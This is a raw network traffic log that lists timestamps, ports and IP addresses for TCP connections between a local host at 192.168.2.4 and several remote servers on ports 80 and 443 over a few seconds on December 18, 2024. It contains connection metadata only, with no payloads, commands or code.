Dec 18, 2024 17:08:26.976556063 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.976635933 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.976675034 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.977283955 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.977325916 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.977432013 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.977473974 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.978317022 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.978363037 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.978441000 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.978482962 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.979470015 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.979521990 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.979660034 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.979702950 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.980418921 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.980458975 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.980537891 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.980585098 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.981641054 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.981683016 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.981801987 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.981839895 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.982665062 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.982707024 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.982754946 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.982795000 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.983609915 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.983654022 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.983805895 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.983846903 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.984635115 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.984700918 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.984778881 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.984852076 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.985708952 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.985754967 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.985795975 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.985836029 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.986673117 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.986711025 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.986783981 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.986824036 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.987575054 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.987621069 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.127557039 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.127600908 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.127671957 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.127715111 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.128096104 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.128142118 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.128298044 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.128340006 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.129070997 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.129112005 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.129152060 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.129190922 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.130120039 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.130168915 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.130307913 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.130353928 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.131165028 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.131207943 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.131309986 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.131364107 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.132141113 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.132189035 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.132210016 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.132249117 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.132991076 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.133032084 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.133157015 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.133198023 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.134162903 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.134207010 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.134268045 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.134326935 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.135001898 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.135046005 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.135102987 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.135149956 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.135977030 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.136023998 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.136080027 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.136137009 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.136964083 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.137016058 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.137120008 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.137161970 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.138068914 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.138107061 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.138205051 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.138243914 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.138967037 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.139013052 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.139062881 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.139105082 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.139924049 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.139966011 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.140057087 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.140103102 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.140979052 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.141021967 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.141168118 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.141208887 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.142103910 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.142159939 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.142222881 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.142263889 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.143135071 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.143179893 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.143213987 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.143254042 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.144154072 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.144196033 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.144329071 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.144366980 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.145117044 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.145169020 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.145273924 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.145332098 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.146033049 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.146071911 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.146138906 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.146181107 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.146908045 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.146950960 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.147150040 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.147192001 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.147855043 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.147903919 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.147995949 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.148035049 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.148936987 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.148977995 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.149195910 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.149244070 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.149924994 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.149967909 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.150053024 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.150091887 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.151062965 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.151104927 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.151170969 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.151216984 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.151979923 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.152021885 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.152062893 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.152107954 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.152971029 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.153014898 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.153057098 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.153098106 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.153877974 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.153917074 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.154020071 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.154063940 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.154810905 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.154861927 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.154939890 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.154977083 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.155931950 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.155987978 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.156028986 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.156065941 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:27.319713116 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:27.319780111 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:28.044246912 CET	443	49778	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:28.044302940 CET	443	49778	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:28.044390917 CET	49778	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:28.044430017 CET	443	49778	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:28.044724941 CET	443	49778	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:28.044750929 CET	443	49778	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:28.044773102 CET	49778	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:28.044780970 CET	443	49778	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:28.045685053 CET	49778	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:28.051215887 CET	443	49778	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:28.059616089 CET	443	49778	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:28.059665918 CET	49778	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:28.059684038 CET	443	49778	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:28.068123102 CET	443	49778	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:28.068166971 CET	49778	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:28.068188906 CET	443	49778	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:28.122214079 CET	49778	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:28.122224092 CET	443	49778	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:28.169101000 CET	49778	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:28.236882925 CET	443	49778	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:28.240947962 CET	443	49778	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:28.240992069 CET	49778	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:28.241004944 CET	443	49778	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:28.241089106 CET	443	49778	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:28.241137028 CET	49778	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:28.250055075 CET	49778	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:28.250067949 CET	443	49778	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:28.467705965 CET	49791	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:28.467736006 CET	443	49791	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:28.467993021 CET	49791	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:28.468590021 CET	49791	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:28.468605042 CET	443	49791	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:29.697757959 CET	443	49791	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:29.697849989 CET	49791	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:29.716703892 CET	49791	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:29.716720104 CET	443	49791	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:29.717045069 CET	443	49791	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:29.717084885 CET	49768	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:29.726316929 CET	49791	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:29.726316929 CET	49791	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:29.726362944 CET	443	49791	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:29.727250099 CET	49791	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:29.727257967 CET	443	49791	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:29.732815027 CET	49794	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:29.837038994 CET	80	49768	185.215.113.43	192.168.2.4
Dec 18, 2024 17:08:29.837106943 CET	49768	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:29.852844954 CET	80	49794	185.215.113.43	192.168.2.4
Dec 18, 2024 17:08:29.853128910 CET	49794	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:29.856129885 CET	49794	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:29.977724075 CET	80	49794	185.215.113.43	192.168.2.4
Dec 18, 2024 17:08:30.213742018 CET	49797	443	192.168.2.4	98.85.100.80
Dec 18, 2024 17:08:30.213784933 CET	443	49797	98.85.100.80	192.168.2.4
Dec 18, 2024 17:08:30.213857889 CET	49797	443	192.168.2.4	98.85.100.80
Dec 18, 2024 17:08:30.230496883 CET	49797	443	192.168.2.4	98.85.100.80
Dec 18, 2024 17:08:30.230520010 CET	443	49797	98.85.100.80	192.168.2.4
Dec 18, 2024 17:08:31.199476957 CET	80	49794	185.215.113.43	192.168.2.4
Dec 18, 2024 17:08:31.202301979 CET	49794	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:31.205845118 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:31.325697899 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:31.331417084 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:31.331528902 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:31.451356888 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:31.824889898 CET	443	49791	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:31.824996948 CET	443	49791	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:31.825120926 CET	49791	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:31.825305939 CET	49791	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:31.825321913 CET	443	49791	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:31.844213963 CET	49801	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:31.844295979 CET	443	49801	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:31.844398022 CET	49801	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:31.844680071 CET	49801	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:31.844716072 CET	443	49801	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:32.056458950 CET	443	49797	98.85.100.80	192.168.2.4
Dec 18, 2024 17:08:32.056983948 CET	49797	443	192.168.2.4	98.85.100.80
Dec 18, 2024 17:08:32.057003021 CET	443	49797	98.85.100.80	192.168.2.4
Dec 18, 2024 17:08:32.058481932 CET	443	49797	98.85.100.80	192.168.2.4
Dec 18, 2024 17:08:32.058549881 CET	49797	443	192.168.2.4	98.85.100.80
Dec 18, 2024 17:08:32.061115026 CET	49797	443	192.168.2.4	98.85.100.80
Dec 18, 2024 17:08:32.061204910 CET	443	49797	98.85.100.80	192.168.2.4
Dec 18, 2024 17:08:32.077826023 CET	49797	443	192.168.2.4	98.85.100.80
Dec 18, 2024 17:08:32.077833891 CET	443	49797	98.85.100.80	192.168.2.4
Dec 18, 2024 17:08:32.122243881 CET	49797	443	192.168.2.4	98.85.100.80
Dec 18, 2024 17:08:32.687675953 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:32.687722921 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:32.687777996 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:32.687812090 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:32.702863932 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:32.702918053 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:32.702931881 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:32.702969074 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:32.719304085 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:32.719357014 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:32.719393969 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:32.719420910 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:32.735814095 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:32.735851049 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:32.735893965 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:32.735918999 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:32.752547026 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:32.752583027 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:32.752634048 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:32.752634048 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:32.807621956 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:32.807713985 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:32.815167904 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:32.815232038 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:32.888243914 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:32.888309956 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:32.898593903 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:32.898659945 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:32.931574106 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:32.931611061 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:32.931636095 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:32.931646109 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:32.931662083 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:32.931694031 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:32.948072910 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:32.948108912 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:32.948143005 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:32.948158026 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:32.964281082 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:32.964342117 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:32.964425087 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:32.964489937 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:32.979475975 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:32.979538918 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:32.994353056 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:32.994389057 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:32.994416952 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:32.994431973 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.009107113 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.009145021 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.009176970 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.009180069 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.009207964 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.009221077 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.024087906 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.024125099 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.024156094 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.024171114 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.038907051 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.038944006 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.038963079 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.038995981 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.053699970 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.053735018 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.053755999 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.053791046 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.068654060 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.068794966 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.068834066 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.068867922 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.080323935 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.080355883 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.080384016 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.080400944 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.095160961 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.095200062 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.095222950 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.095242023 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.113598108 CET	443	49801	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:33.113665104 CET	49801	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:33.115988970 CET	49801	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:33.116019011 CET	443	49801	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:33.116344929 CET	443	49801	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:33.118324995 CET	49801	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:33.118446112 CET	49801	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:33.118480921 CET	443	49801	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:33.124922037 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.124958992 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.124994040 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.125030041 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.139484882 CET	80	49800	185.215.113.16	192.168.2.4
